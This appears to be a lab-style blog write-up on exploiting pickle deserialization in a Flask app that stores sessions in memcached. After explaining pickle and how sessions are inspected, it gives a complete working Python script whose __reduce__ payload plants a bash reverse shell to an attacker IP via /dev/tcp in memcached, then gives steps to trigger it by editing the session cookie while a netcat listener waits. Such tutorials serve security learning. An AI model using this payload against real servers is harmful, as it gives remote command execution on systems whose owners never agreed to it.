Deserialization of flask app and memcached

The flask app caches the logon session in the memcache daemon, in python pickle is used to serialize and deserialize data.

Serialization is a process of converting the python’s object into byte stream for transport over the network or convert the python object into byte stream for storing into a file. Deserialization is to convert the byte stream back to python’s object.

Json serialized data is human-readable while pickle serialized data is not. The difference between json and pickle can be found here: https://docs.python.org/3/library/pickle.html

Login form of flask app

The flask app takes in a login and does nothing else.

The page after logon.

Each session is cached in the memcache daemon, and the session after logon can be retrieved with firefox’s web developer’s tool.

session cookies can be referenced with memcache server
The deserialized content of the session.

From the result of memccat there are p1, p2 and p3 in the content, this reveals that pickle is used for deserialization and serialization. The content is a deserialized data in string format.

Disclaimer from pickle’s documentation.

From pickle’s disclaimer it is developer’s responsibility to ensure serialized data is from “trusted” source… but how can developer ensure? Supposed if there is a flask app and serialized data may be coming from clients…

import pickle
import os
from pymemcache.client.base import Client
from pymemcache.exceptions import (
    MemcacheError,
    MemcacheClientError,
    MemcacheServerError,
    MemcacheUnknownError,)

MC_ERR = (MemcacheError, MemcacheClientError, MemcacheServerError, MemcacheUnknownError)

# Modify as you deemed fit.
victim = "192.168.161.59"
attacker = "192.168.49.161"
attacker_port = 11211


class RCE:
    def __reduce__(self):
        # reverse shell command string
        cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{attacker}/{attacker_port} 0>&1'"
        # __reduce__ returns a tuple of callable and tuple of arguments of the callable
        return os.system, (cmd,)


if __name__ == '__main__':
    try:
        # create a memcache client object
        mc = Client(f"{victim}:11211")
        # Set a key you_have_been_pwned with serialized data of the reverse shell command.
        mc.set("session:you_have_been_pwned", pickle.dumps(RCE()))
    except MC_ERR as e:
        print(e)

The above code is to send a serialized data which contains a reverse shell command line to the memcache daemon.

Serialized data in memcache server.

To deserialize the data in memcache server, use the web developer tool and select /admin then right click and select “edit and resend”, change the cookie to “you_have_been_pwned” then send, before doing this cookie modification setup the netcat listener first.

Modify the cookie value which corresponds to the memcache key.
Reverse shell connection after flask app deserialized the data.

References:

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

https://docs.python.org/3/library/pickle.html

https://blog.nelhage.com/2011/03/exploiting-pickle/

Hacking Python Applications

https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html

Leave a comment